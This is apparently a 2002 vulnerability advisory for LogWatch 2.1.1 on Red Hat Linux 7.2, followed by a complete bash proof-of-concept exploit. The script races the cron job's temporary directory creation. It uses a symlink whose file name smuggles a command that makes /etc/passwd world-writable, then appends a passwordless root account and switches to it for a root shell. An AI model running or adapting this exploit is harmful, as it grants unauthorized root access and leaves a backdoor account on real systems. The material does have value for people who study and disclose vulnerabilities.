logwatch211.sh

`--- INTRO ---  
  
LogWatch is a customizable log analysis system. LogWatch parses  
through your system's logs for a given period of time and creates a  
report analyzing areas that you specify, in as much detail as you  
require.  
  
The collected results are reported to a chosen e-mail address,  
root by default.  
  
LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution,  
enabled by default and daily run by the cron daemon.  
  
--- PROBLEM ---  
  
On a system running LogWatch, a local user is able to gain  
unauthorized root access, due to a race condition during  
the temporary directory creation.  
  
--- EXPLOIT ---  
  
  
#!/bin/bash  
#  
# March 27 2002  
#  
# logwatch211.sh  
#  
# Proof of concept exploit code  
# for LogWatch 2.1.1  
# Waits for LogWatch to be run then gives root shell  
# For educational purposes only  
#  
# (c) Spybreak <[email protected]>  
  
  
SERVANT="00-logwatch" # Logwatch's cron entry  
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/  
  
echo  
echo "LogWatch 2.1.1 root shell exploit"  
echo '(c) Spybreak <[email protected]>'  
echo  
echo "Waiting for LogWatch to be executed"  
  
while :; do  
set `ps -o pid -C $SERVANT`  
if [ -n "$2" ]; then  
mkdir /tmp/logwatch.$2   
ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron  
break;  
fi  
done  
echo "Waiting for LogWatch to finish it's work"  
while :; do  
set `ps -o pid -C $SERVANT`  
if [ -z "$2" ]; then  
ls -l /etc/passwd|mail root  
echo master::0:0:master:/root:/bin/bash >> /etc/passwd  
break;  
fi  
done  
su master   
`